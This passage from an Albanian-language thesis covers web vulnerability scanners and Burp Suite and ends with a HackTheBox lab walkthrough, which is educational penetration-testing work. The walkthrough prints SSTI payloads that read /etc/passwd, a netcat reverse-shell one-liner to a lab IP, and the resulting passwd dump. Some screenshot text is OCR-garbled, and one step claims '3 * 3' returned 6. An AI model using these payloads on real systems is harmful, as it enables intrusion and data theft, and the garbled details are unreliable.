Skanerét e cenueshmérisé sé aplikacioneve té ueb jané mjete té automatizuara qé skanojné
aplikacionet né ueb, shpesh here nga jashté, pér té kérkuar dobési sigurie si skriptimi né fage,
injektimi SQL, injektimi i komandés dhe konfigurimi i pasigurt i serverit. Kéto kategori mjetesh
shpesh referohen si vegla DAST[54]. Disa nga skaneré té aplikacioneve ueb jané: “Nessus”,
“Nikto”, “Netsparker” dhe “Burp Suite”.

5.3.2 Skaneri i cenueshmérisé Nessus

Nessus éshté njé skanues i cenueshmérisé sé rrjetit me burim té hapur gé pérdor arkitekturén e
dobésive té pérbashkéta dhe ekspozimeve pér ta béré té thjeshté qé mjetet e sigurisé té lidhen me
njéri-tjetrin. Nessus éshté njé nga shumé skanerét e cenueshmérisé qé pérdoret gjaté testimit té
depértimit dhe vlerésimeve té cenueshmérisé[55]. Nessus nuk éshté njé zgjidhje e ploté sigurie,
pérkundrazi éshté njé pjesé e vogeél e njé strategjie té miré sigurie. Nessus nuk parandalon né
ményré aktive sulmet, ai éshté vetém njé mjet gé kontrollon kompjuterét dhe ueb aplikacionet
pér té gjetur dobési.
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6. Vegla Burp-Suite

Burp ose Burp-Suite éshté njé vegél qé pérdoret pér testim depértimit té aplikacioneve ueb si dhe
kryen funksione té skanimit té cenueshmérisé. Kjo vegél éshté zhvilluar nga kompania e quajtur
Portswigger dhe synon té jeté njé mjet i cili pérmban te gjitha né njé vend. Aftésité e Burp-Suite
mund té avancohen duke instaluar shtesa te mjetesh gé quhen BApps. Burp-Suite éshté i
disponueshém si njé botim i komunitetit, i cili éshté falas, botim profesional gé kushton 399
dollaré/vit dhe njé botim pér ndérmarrje gé kushton 3999 dollaré/vit[56]. Kjo vegél mbéshtet té
gjithé procesin e testimit, nga hartimi fillestar dhe analiza e sipérfages sé sulmit té njé aplikacioni,
deri tek gjetja dhe shfrytézimi i dobésive té sigurisé. Burp-Suite éshté para instaluar né sistemin
operativ Kali Linux. Burp-Suite éshté shkruar dhe zhvilluar né gjuhen programuese Java[57].

Eventlog @S e

‘‘‘‘‘

Figura 27 Hyrja né veglén Burp-Suite

6.1 Vecgorité e veglés Burp-Suite

Karakteristikat e ndryshme té Burp-Suite pérfshijné: panel e kontrollit (dashboard), “Proxy”,
objektivi (target), ndérhyrési (intruder), pérsérités (repeater), sekuencés (sequncer), de koduesi
(decoder), vazhduesi (extender) etj. Né keté punim ne ecim pérpara me kéto nén-vegla si dhe do
ti pérdorim pér testime[58].

6.1.1 Panel i kontrollit (Dashboard) né Burp-Suite

Karakteristika e paré dhe e para programuar e cila éshté e hapur né fillim té aktivizimit té veglés
éshté “dashboard”. Kjo pjese e Burp-Suite pérmban shumé funksione dhe pjesa e ndérfages
grafike éshté paragitur né figurén 1. Pérmban 4 funksione kryesore si: detyrat (tasks), regjistri i
ngjarjeve (event log), aktiviteti i problemeve (Issue activity) si dhe késhillime (advisory).

o Detyrat (tasks) paraget detyrat aktuale té veglés Burp-Suite. Si detyra té para
programuara jané: zvarritja pasive e té dhénave ueb (passive crawl) nga i gjithé trafiku
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dhe auditimit. Ekziston mundésia e krijimit té detyrave té reja né formé té skanimit té ri
apo né formé té ndonjé detyre aktuale. Skanimi behet né formé té skanimit té
cenushmerise dhe mund té konfigurohet sipas nevojés. Skanimi i cenushmerise né Burp-
Suite éshté paraqitur né figurén 28.

Scan
configuration

=

Application
login

@

Resource
pool

Scan Type

© Crawl and audit

Crawl

URLs to Scan

MNew scan

Define the URLs to scan. Burpwill begin crawling from these URLs, and by default will include everything beneath the specified URLs' folders.

Protocol set

Q) Scanusing

tings

HTTP & HTTPS

> Detailed scope configuration

Scanusing my specified protocols

oK | | cancel

Figura 28 Skanimi i cenushmerise ne Burp-Suite

o Aktiviteti i problemeve (Issue activity) paraget té gjitha problemet e gjetura pér
objektivin e caktuar apo pér té gjithé trafikun nga aspekti i sigurisé kibernetike. Pérmban
detaje si renditje nga ashpérsia, koha e gjetur, tipi i problemit té gjetur dhe objektivi.

Issue activity ® <
57 Filter ( High | [ Medium | ( Low ) ( Info ) | Certain | ( Firm | | Tentative | ‘;;'

# Task Time Action Issue type Host Path
250 2 07:50:2610 Nov2022 Issue found © Strict transport security not enforced https://snap.licdn.com Mi.lms-analytics/insight.min.js
249 2 07:50:2610 Nov 2022 Issue found © Lackor Misconfiguration of Security Header(s) https://pixel-sync.sitesco... [connectors/clickagy/usersync
248 2 07:50:2610 Nov2022 Issue found O Interesting Header(s) https://pixel-syncsitesco... /connectors/clickagy/usersync
247 2 07:50:2610 Nov 2022 Issue found © Content Sniffing not disabled https://pixel-sync.sitesco... fconnectors/clickagy/usersync
246 2 07:50:2610 Nov2022 Issue found O Browser cross-site scripting filter misconfiguration  https://hemsync.clickagy.... fexternal/hasHashes
245 2 07:50:2610 Nov 2022 Issue found i HTMLS concern: client storage https://consentcdn.cookie... [sdk/bc-v4.minhtml
244 2 07:50:2610 Nov2022 Issue found ) Strict Transport Security Misconfiguration https://hemsync.clickagy.... fexternal/hasHashes
243 2 07:50:2610 Nov 2022 Issue found @ Cacheable HTTPS response https:/fhemsync.clickagy.... fexternal/hasHashes
242 2 07:50:2610 Nov2022 Issue found O Browser cross-site scripting filter misconfiguration  https://pixel-syncsitesco... [connectors/clickagy/usersync
241 2 07:50:2610 Nov 2022 Issue found @ Strict Transport Security Misconfiguration https://pixel-sync.sitesco... [connectors/clickagy/usersync
240 2 07:50:2610 Nov2022 Issue found @ Content Sniffing net disabled https://acrta.clickagy.com  /pixel.gif
239 2 07:50:2610 Nov2022 Issue found 0 Cookie scoped to parent domain https://pixel-sync.sitesco... [fconnectors/clickagy/usersync
238 2 07:50:2610 Nov2022 Issue found @ Cookie without HttpOnly flag set https://pixel-sync.sitesco... [fconnectors/clickagy/usersync
237 2 07:50:2610 Nov2022 Issue found @ Strict transport security not enforced https://pixel-sync.sitesco... [fconnectors/clickagy/usersync
236 2 07:50:2510 Nov2022 Issue found © Lackor Misconfiguration of Security Header(s) https://safebrowsing.goo... fva/fullHashes:find
235 2 07:50:2510 Nov2022 Issue found O Interesting Header(s) https://safebrowsing.goo... fva/fullHashes:find
234 2 07:50:2510 Nov 2022 Issue found @ Strict Transport Security Misconfiguration https://safebrowsing.goo... fvd/fullHashes:find
233 2 07:50:2510 Nov2022 Issue found @ Cacheable HTTPS response https://safebrowsing.goo... fv4/fullHashes:find

2

07:50:2510 MNov 2022

Issue found

O Browser cross-site scripting filter disabled

https://safebrowsing.goo...

Figura 29 Aktivitete e problemeve té sigurisé né Burp-Suite

fva/fullHashes:find
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e Regjistri i ngjarjeve (event log) tregon detajet e plota té detyrés. Né varési té llojit té
detyrés, dritarja e detajeve mund té pérfshijé: pérmbledhjen e konfigurimit té detyrés,
progresi dhe kohés sé mbetur[59].

Event log

EYGIE Critical @ | Debug |

Time
07:58:3010 Nov 2022
07:56:3210 Nov2022
07:56:30 10 Nov 2022
07:52:2410 Nov 2022
07:50:3110 Mov 2022
07:50:30 10 Nov 2022
07:50:2110 Nov2022
07:50:2110 Nov2022
07:50:20 10 Nov 2022
07:50:20 10 Nov 2022
07:50:20 10 Nov 2022
07:50:1910 Nov2022
07:50:1910 MNov2022
07:50:1910 Nov2022
07:50:1910 MNov2022
07:50:1810 Nov2022
07:50:1810 Mov2022
07:50:17 10 Nov2022
07:50:1710 MNov2022

ATEAAT AN K 3077

Info
Info
Info
Info
Info
Info
Info
Info
Info
Info
Info
Info
Infa
Infa
Infa
Infa
Infa
Infa

Infa
Infa

Source

Prowy
Prowy
Prowy
Prowy
Prowy
Proxy
Proxy
Proxy
Proxy
Proxy
Proxy
Proxy
Praosy
Praoxy
Praosy
Praoxy
Praosy
Praoxy
Praosy

Dirrams

Message

services.addons. mozilla.org is using HTTR/2
firefox-settings-attachments.cdn. mozilla.net is using HTTR/2
firefox.settings.services. mozilla.com is using HTTR/2
aus5.mozilla.org is using HTTP/2
content-signature-2.cdn.mezilla.net is using HTTR/2
classify-client.services.mozilla.com is using HTTP/2
pr.ads.linkedin.com is using HTTR/2

cdn.linkedin.oribi.io is using HTTP/2

discord.com is using HTTP/2

snap.licdn.com is using HTTP/2
metadata-static-files.sfo2.cdn.digitaleceanspaces.com is using HTTR/2
pixel-sync.sitescout.com is using HTTP/2
hemsync.clickagy.com is using HTTR/2
safebrowsing.googleapis.com is using HTTP/2

id.rledn.com is using HTTR/2

aorta.clickagy.com is using HTTP/2

tags.clickagy.com is using HTTR/2

fonts.gstatic.com is using HTTP/2

ws.zoominfo.com is using HTTR/2
rancantrdn ranliahat faee e veina UTTDM

Figura 30 Regjistri i ngjarjeve né Burp-Suite

o Kaéshillimet (advisory) paragesin késhillimet pérkatése té problemeve té gjetura. Kjo
pérmban njé pérshkrim té problemit té gjetur, ashpérsinég, linget pér referenca dhe detajet

e riparimit.

Advisory Request

Response

o Strict Transport Security Misconfiguration

Issue: Strict Transport Security Misconfiguration

Severity: Medium

Confidence: Certain

Host: https://content-signature-2.cdn.mozilla.net

Path: [chains/nermandy.content-signature.mozilla.org-2022-12-09-20-33-59.chain

Note: This issue was generated by the Burp extension: Additional Scanner Checks.

Issue detail

There was no "Strict-Transport-Security” header in the server response.

Remediation detail

A Strict-Transport-Security HTTP header should be sent with each HTTPS response. The syntax is as follows:

Strict-Transport-Securitv: max-age=<

onds=[: includeSubDomains]

Figura 31 Késhillimet né Burp-Suite
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6.1.2 Panel i objektivit (target) né Burp-Suite

Menyja né Burp-Suite objektivi (target) pérmban hartén e fages, me informacion té detajuar né
lidhje me aplikacionet té synuara. Kjo lejon pércaktimin se cilat objektiva jané né fushéveprim

pér punén aktuale, dhe gjithashtu lejon té drejtimin e procesit té testimit pér dobésité. Menyja

objektivi pérmban kéto funksione kryesore: harta e fages, fushéveprimi dhe pérkufizimet e

céshtjeve[60].

e« Harta e fages grumbullon té gjithé informacionin gé Burp ka mbledhur rreth
aplikacioneve. Kjo mundéson té filtronen dhe shénohen informacionet pér té ndihmuar né
menaxhimin e informacioneve, si dhe mund té pérdoret pér té nxitur rrjedhén e punés sé

testimit.

Site map. Scope Issue definitions

Filter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xxresponses; hiding empty folders.

Params. Status - Length  MIMEtype

s =B | inspECTOR

Bl = Selectextension.. v | BodyParame ters (4)
1 GET /UploadScal
2 # You e site map. It was

ou
created by the

here is no
he Burp APT :(
e addToSiteMap APT to store

@& €= 0 matches

Figura 32 Harta e fages né Burp-Suite

Konfigurimi i fushés sé synuar mundéson, né njé nivel té gjeré té grupit, saktésisht se cilat hoste

dhe URL pérbéjné objektivin pér punén aktuale[61].
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6.1.3 Panel i Proxy-it né Burp-Suite

Burp Proxy ndodhet né zemér té fluksit té punés té drejtuar nga pérdoruesit e Burp-Suite dhe
lejon té pérgjohen, shikohen dhe modifikohen té gjitha kérkesat dhe pérgjigjet gé kalojné midis
shfletuesit dhe serveréve té ueb-it té cilat paragesin objektivin[62]. Menyja Proxy pérmban:
funksionin pér ndérhyrje, historikun e ndérhyrjeve si dhe mundésité e konfigurimit té
ndérhyrjeve.

Use Burp's embedded browser a Use a different browser

g Burp Proxy Burp Proxy oplions Burp Proxy decumentation

Figura 33 Proxy né Burp-Suite

Pér te funksionuar Proxy duhet té behet konfigurimi i shfletuesit gé té dérgoj trafikun né Proxy,
kjo mund té béhet tek cdo shfletues tek konfigurimi apo duke pérdorur program zgjerimi té
shfletuesit. Pér keté rekomandohet té pérdoret vegla “Foxy-Proxy”.

Opsionet e Proxy-it pérmbajné konfigurimet e Proxy pér dégjuesit, pérgjimin e kérkesave dhe
pérgjigjeve HTTP, pérgjimin e mesazheve té “WebSocket”, modifikimin e pérgjigjes, gjej dhe
zévendéso, kalimin tek shérbimi TLS dhe opsione té tjera. Si parazgjedhje, Burp-Suite krijon njé
dégjues té vetém né portin 8080 té ndérfages loopback. Pér té pérdorur kété dégjues, duhet té
konfiguroni shfletuesin tuaj gé té pérdoré 127.0.0.1:8080 si server Proxy. Ky dégjues i
paracaktuar éshté gjithcka qé kérkohet pér té testuar pothuajse té gjitha aplikacionet e uebit té
bazuara né shfletues[63].

Funksioni i ndérprerjes lejon té kryhen veprimet e méposhtme té dobishme:
e Pérgjimi i njé kérkese dhe modifikimi pérpara se té pércillet né server[64].

o Dérgimi i kérkesave interesante tek mjetet tjera té Burp, si Repeater ose Intruder, pér
testime té métejshme[64].

o Hedhja e njé kérkesé pér té parandaluar qé ajo té arrijé té serveri[64].
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6.1.4 Panel i ndérhyrjeve (Intruder) né Burp-Suite

Intruder éshté njé mjet pér automatizimin e sulmeve kibernetike i specializuar pér aplikacionet
ueb. Eshté mjet tepér i fugishém dhe i adaptueshém ku mund té pérdoret pér té kryer njé gamé té
gjeré operacionesh, nga supozimi me forcé brutale té drejtorive té fageve deri te shfrytézimi
aktiv i dobésive komplekse té llojit injektimit SQL té verbér. Intruder ka katér nén panele:
objektivi, pozicionet, ngarkesat dhe opsionet si¢ shihet né figuré 34[65].

Dashboard Target Pron Intruder Repeater Sequencer Decoder
2x | w
Target Positiens Payloads Resource Pool Options

(@ Payload Positions [surtattece |

Configure the positions where payloads will be inserted into the base request. The attack type determines the way inwhich payloads are assigned to payload positions - see hel for full details.

Attacktype: [ 5i
auto-ffoxssappver=5102.456pver=52,25 HITP/1.1 Adds
Clear §

Autos

1PosT /do
2 Host

x x86_84; rv:102.0) Geckof20100101 Firefox/102.0

Refresh

gestzs6;8: 165721354788
est256; a: 16572135475 §
55

a755

7655

qest256; 21 165721354788

788
149063367858

Figura 34 Intruder né Burp-Suite

Mijeti Intruder funksionon duke marré njé kérkesé HTTP (referuar si "kérkesa bazé"), e cila
vendoset tek nén paneli objektivi dhe kjo behet gjaté marrjes sé kérkesés nga Proxy ose ndonjé
mjet tjetér té Burp-Suite ose duke e shénuar objektivin vetvetiu ku pastaj mund té ndryshohet né
njé numér ményrash[65].

Pastaj shohim nén panel tjetér i cili éshté pozicioni. Pozicioni &shté shumé i réndésishém né
automatizimin e vargjeve té sulmit né objektiv. Kjo jo vetém qe cakton vektorét e sulmit por
edhe pozicionet ndaj kérkesés bazé se ku té vendosen. Llojet e vektoréve té sulmit jané sulmi me
snajper, sulmi me dash, sulmi me pirun dhe bomba grumbulluese[66].

Dhe pér fund jané ngarkesat (payloads) dhe opsionet né mjetin Intruder. Opsionet e sulmit né
Intruder shérbejné pér opsionet e ruajtjes, titujt e kérkesave, trajtimin e gabimeve, rezultatet e
sulmit, pérputhjen e funksionit grep, ekstraktin grep, ngarkesat grep dhe ri drejtimet. Kétu mund
té modifikohen kéto opsione pérpara se té niset ndonjé sulm, dhe shumica e cilésimeve mund té
modifikohen gjithashtu né dritaren e sulmit kur sulmi tashmé po ekzekutohet[67]. Ngarkesat
mund té konfigurohen né njé ose mé shumé grupe ngarkesave. Lloji i sulmit i specifikuar né
panel pozicione pércakton numrin e grupeve té ngarkesés. Zakonisht kérkohet vetém njé grup
ngarkese pér shumé aktivitete tipike, si p.sh. “fuzzimi” i parametrave, pérdorimi i forcés brutale
pér té gjetur fjalékalimin e njé pérdoruesi dhe kalimi me rrotullim népér identifikuesit e
fageve[68].
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6.1.5 Paneli pérsérités (Repeater) né Burp-Suite

Paneli pérsérités éshté njé mjet i thjeshté pér ndryshimin manual, ribotimin dhe ekzaminimin e
kérkesave individuale HTTP, si dhe mund té vérehen pérgjigjet e aplikacionit. Nga ¢do vend né
Burp-Suite, éshté e mundur dérgimi i kérkesave né Repeater té cilat mund té ndryshohen[69].
Pérséritési mund té pérdoret pér njé séré detyrash, duke pérfshiré modifikimin e vlerave té
parametrave pér té testuar dobésité e bazuara né hyrje, dérgimin e kérkesave né njé renditje té
caktuar pér té testuar pér probleme logjike dhe dérgimin e kérkesave nga gjetjet e skanerit té
Burp-Suite pér té kontrolluar né ményré manuale pér problemet e gjetura nga skaneri. Ndérfagja
kryesore e Repeater lejon té punohet né shumé mesazhe té ndryshme njékohésisht, secila né
skedén e vet. Cdo mesazh gé dérgohet tek Repeater shfaget né njé skedé té vecanté me njé numér
unik. Duke klikuar dy heré kokén e skedés, mund té riemértohet skeda[70].

Burp Suite Professional ¥20217.1 - Temporary Project - Licensed ta :Dr.FarFar - [ WwW.Dr-FarFar.CoM | # [ FB.Com/Dr FarFar ] % [ Twitter.Com3XS0 |

Bup Project Intruder Repeater Window Help

Comparer Logger Extender Project options User options. Leamn backupFinder Pentest Mapger sssValidator psychaPATH AESKiller SSLScanner SessionAuth 403 Bypasser
Dashboard Target Prowy Intruder Repeater Saquencer Decoder
[ send ] Target: https:ffwaw kaliorg 7 (7)
0= = | inspecror @ x
Eflrex w = Query Parameters (0] v

Body Parameters (0) v

0 (X11; Linux x88 64; rv:102.0) Gecko/20100101 Firefox/102.0 3
xhtml+xml, application/xml;q=0.9,image/avif, image/webp, */*;9=0.8 4 Request Cookies (0 v
Request Headers (12) v

Respanse Headers (10) v

pe=image/png href=htty
hxml hrefehttps: /fww

omatches ()48 («]3][5 Omatches

€]
&
)
(4]

Figura 35 Repeater né Burp-Suite
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7.Shfrytézimi i dobésive

Njé shfrytézim (exploit) éshté njé program, ose pjesé kodi, i krijuar pér té pérfituar nga njé
defekt ose dobési sigurie né njé aplikacion ose sistem kompjuterik, zakonisht pér géllime
keqdashése, si instalimi i programeve keqdashése ose marrja e pa autorizuar e té dhénave. Njé
shfrytézim nuk éshté veté programi, por pérkundrazi éshté njé metodé e pérdorur pér té
shfrytézuar njé ose disa dobési[71].

Pér identifikimin dhe shfrytézimin e dobésive do te behet testimi i depértimit té sigurisé tek njé
aplikacion té ueb-it duke pérdorur veglén Burp-Suite.

7.1.1 Testimi dhe shfrytézimi i dobésive né aplikacione té ueb-it

Pér testim si objektiv do té pérdoret ueb aplikacion i quajtur Neonify nga
platforma “HackTheBox.com”. Brenda kétij objektivi, ne do té shikojmé dobésité té standardit
OWASP e cila éshté platforme e vlerésimit té dobésive né aplikacionet né internet. Si hap i paré
rekomandohet té pérdoren teknikat e cekura me herét dhe pastaj té behet kérkimi pér dobési.
Metoda e kérkimit té dobésive pa pérdorur teknikat e me hershme véshtiréson procesin e testimit
dhe éshté mundésia qé testimi té mos jeté i suksesshém pér shkak té informacionit té mangét. Né
keté pjese pér arsye té mos pérséritjes té teknikave té cekura mé herét do té behet kérkimi dhe
shfrytézimi i dobésive né ményre té drejtpérdrejt né veglén Burp-Suite.

Testimi 1

Pér testimin e paré sigurohemi ge ueb aplikacioni éshté aktiv duke pérdorur veglén Nmap apo
thjeshte duke e hapur né shfletues té internetit. Pasi éshté siguruar gé ueb aplikacioni éshté
funksional startojmé veglén Burp-Suite. Né Burp-Suite e béjmé konfigurimin ashtu gé kérkesat e
ueb aplikacionit té kalojné direkt tek vegla dhe keté e béjmé duke konfiguruar Proxy . Pasi kemi
konfiguruar Proxy né Burp-Suite ti dérgoj ueb kérkesat né IP lokale “ 127.0.0.1” né porté 8080 e
béjmé té njéjtén gjé edhe me ueb shfletuesin. Shfletuesi i konfigurohet Proxy ashtu qé trafiku i
ueb aplikacionit ti dérgoj kérkesat tek vegla nga konfigurimi apo duke pérdorur aplikacione si
“Foxy-Proxy”. Pasi jané konfiguruar palét vérejmé se fagja nuk hapet dhe ¢do kérkese e ueb
aplikacionit dérgohet né Proxy té Burp-Suite dhe mund té pércillet ose té ndalet té shkoj deri tek
ueb aplikacioni ose mund té dérgohet tek funksionet tjera t& Burp-Suite si pérséritési (repeater)
ose ndérhyrési (intruder). Ne tentojmé ti gjejmé pjesét e aplikacionit té cilit pranojné parametra,
ku shpeshheré mund té vendosim kod pér identifikimin e ekzistimit t& dobésisé dhe pastaj té
shfrytézojmé ateé.

Shohim se né figurén 36 ueb aplikacion éshté aktiv dhe pérmban vetém njé funksion vendosja e
té dhénave nga pérdoruesi né formé teksti dhe shndérrimi i ati teksti né dizajn té tipit “neon”.
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@ Neonify x 4 v

o c a . 134.209.186.13 <« O@Q i f

Amazing Neonify Generator

Enter Text to Neonify

Glow With The Flow

Figura 36 Ueb aplikacioni Neonify nga platforma HackTheBox

Né Burp-Suite e aktivizojmé Proxy dhe japim ndonjé hyrje té rastit tek funksioni i ueb
aplikacionit. Shohim se né kérkesén e marr nga Proxy ueb aplikacioni pérmban njé parametér i
quajtur “neon” e cila ka marr hyrjen “test” dhe pérdor metodén POST pér té bere kérkesén, kjo
kérkesé éshté paraqitur né figurén 37.

Burp Suite Professional v2021.7.1 - Temporary Project - Licensed to : Dr.FarFar - [ WwW.Dr-Fal

Burp Project Intruder Repeater Window Help

Comparer Logger Extender Project options User options Learn backupFinder Pentest Mapper
Dashboard Target Intruder
HTTP history WebSockets history Options

& Request to http://134.209.186.13:31858

Forward Drop Intercept is on Action Open Browser
m Hex n =

1 POST / HTTR/1.1

Z Host: 134.209.186.13:31858

5 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1mage/avif,image /webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

5 Accept-Encoding: gzip, deflate

7 Content-Type: application/x-www-form-urlencoded

2 Content-Length: 9

o 0Origin: http://134.209.186.13:31858

10 Connection: close

11 Referer: h‘t‘tp:,","l34. 209.186.13: 31858/

12 Upgrade-Insecure-Requests: 1

1;
14 neon=test |

s

(9]

Figura 37 Hijezuar me ngjyre té kuqge parametri i kérkesés sé ueb aplikacionit
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Até kérkesé e dérgojmé tek pérséritési pér analizé te métutjeshme. Tashme mund té testojmé né
ményra té ndryshme se si funksionon ueb aplikacioni, nése dérgojmé si hyrje tekstin “test” tek
parametri shohim se ueb aplikacioni éshté pérgjigjur me ueb kod 200 dhe ka kryer funksionin e
parapare. Provojmé si hyrje te vendosim karaktere speciale si “ < {} >!@#$%” pér té shikuar a
pérmban ndonjé filtrim te hyrjes ueb aplikacioni. Pasi te kemi dérguar kérkesén nga pérséritésit
vérejmé se ueb aplikacioni pérdor njé lloj te filtrimi dhe éshté pérgjigjur me mesazhin” u zbulua
hyrje me g€llim té keq (malicious input detected)” si né figurén 38.
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Figura 38 Pérgjigja e aplikacionit Ueb ndaj hyrjes me karaktere speciale

Ky ueb aplikacioni pérdor pér hyrje funksion té vértetim “regex” pér parametrin neon gé lejon
vetém karaktere dhe hapésira alfa-numerike. Duke pérdoré veglén Built-with shohim se ueb
aplikacioni éshté ndértuar pjesérisht nga gjuha programuese Ruby dhe pérmban shabllon pér té
funksionuar. Kjo do té kérkojé njé gasje me dy drejtime pér té identifikuar dhe me vone
shfrytézuar dobési. Njé injektim i shabllonit nga ana e serverit (SSTI) dhe anashkalimi i filtrimit
té hyrjes. Pas njé kérkimi té vogeél né internet pér tejkalim té filtrimit té hyrjes regex, shohim se
ekziston mundésia té anashkalohet me vendosjen e hyrjes né rresht té ri si dhe me kodim té tipit
URL. Nése pérdorim metodén e cekur vérejmé se lejon vendosjen e karaktereve special pér nga
tashmé kérkojmé ngarkese pér vértetim té dobésie SSTL. Ato ngarkesa mund té gjinden né
platforma té ndryshme si “Github”. Si ngarkesé marrim “<%= 3 * 3 %> “ dhe nése né rezultat
shfaget numri 6 atéheré ekziston dobésia SSTL. Shohim se ueb aplikacioni éshté pérgjigjur me
vlerén 6 dhe mund té vazhdohet tek faza e shfrytézimit té dobésisé. Pér té shfrytézuar dobésiné
pérdorim ngarkesén “<%= File.open('/etc/passwd’).read %>" pér shfagjen e té dhénave té
ndjeshme pasi skedari “/etc/passwd” pérdoret pér té mbajtur gjurmét e cdo pérdoruesi té
regjistruar né até sistem.
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Po ashtu mund té pérdoret ngarkesa *“ <%=/bin/sh -i 2>&l|nc 10.10.17.141 4444 %>" pér
krijimin e njé lidhje “Reverse Shell” pér dérgimin e té€ dhénave tek IP adresa dhe porta e cekur né
ngarkesé. Rezultatet e ngarkese se paré jané vendosur né njé dokument dhe jané shfaqur né
figurén 39.

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/ust/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin Ip:x:7:7:1p:/var/spool/Ipd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/ust/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List
Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-
timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-
network:x:101:103:systemd Network Management...:/run/systemd/netif:/bin/false systemd-
resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-
proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:605534::/nonexistent:/bin/false
Ixd:x:1006:65534::/var/lib/Ixd/:/bin/false mysql:x:107:111:MySQL
Server,,,:/nonexistent:/bin/false messagebus:x:108:112::/var/run/dbus:/bin/false
uuidd:x:109:113::/run/uuidd:/bin/false dnsmasq:x:110:65534:dnsmasq.,:/var/lib/misc:/bin/false
sshd:x:111:65534::/var/run/sshd:/usr/sbin/nologin ajay:x:1000:1000:ajay,,,:/home/ajay:/bin/bash

Figura 39 Rezultatet e shfrytézimin té dobésisé SSTL duke pérdorur ngarkesén “<%=
File.open('/etc/passwd').read %>
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8. Analizimi i kércénimeve dhe dobésive né Maltego

Pasi kemi pérfunduar té gjitha testimet e mundshme né objektivat e caktuar rezultatet e
mbledhura mund té grumbullohen dhe té vendosen né veglén Maltego. Paragitja e rezultateve né
Maltego mundéson njé analizé té lehtésuar té kércénimeve dhe dobésive pér pozita té ndryshme
si: analisti i sigurisé, forenzika kibernetike , inxhinierét e sigurisé kibernetike etj. Paraqgitja
grafike e té gjitha rezultateve té fituara deri mé tani éshté paragitur né ndérfage té pérdoruesit té
veglés Maltego dhe éshté paraqitur né figurat né vijim.
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Microsoft Windows RPC i microsoft-ds

Microsoft Window s netbios-ssn
Figura 40 Rezultatet finale té testimeve vendosur né veglén Maltego pjesa 1
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Pérfundimi

Eshté shqyrtuar njé problem shumé kompleks me té cilin ballafagohen shumé vende té botés, dhe
ky problem éshté aktual edhe né vendin toné. Dinamika e jetés sidomos viteve té fundit i ka
shtuar njeriut njé pérgjegjési mé té madhe pér parandalimin e késaj dukurie, ku né té shumtén e
rasteve njerézit shpesh vihen né siklet para njé problemi té cilin nuk mund ti shmangen dhe t’i
japin njé zgjedhje té problemit dhe rrezikohemi gé ¢do heré té jemi pjesé e kércénimeve dhe
dobésive kibernetiké né infrastrukturé toné té ueb-it.

Ky dokument me sukses ka béré gjetjen e kércénimeve dhe dobésive Kkibernetike né
infrastrukturé té ueb-it, dhe metodat e pérdorura kané treguar efikasitet t€ larté i cili u a
mundéson testuesve Kibernetiké té ngritin siguriné né infrastrukturén e tyre té ueb-it. Pérdorimi i
metodave té zbulimit dhe testimit duke pérdorur vegla té ndryshme né vecanti pérdorimi i veglés
Maltego dhe Burp-Suite déshmuan efikasitet dhe efektivitet. Shkrimi i njé raporti té testimit
éshté njé nga pjesét mé kritike té identifikimit té dobésive dhe kércénimeve, pérdorimi i veglés
Maltego si dhe aftésia e tij pér paragitjen e informacioneve né ndérfage té pérdoruesit ngrit
nivelin e raportimit dhe pérdorimi i veglés Burp-Suite siguron se dobésité e gjetura nuk jané
klasifikim i gabuar.
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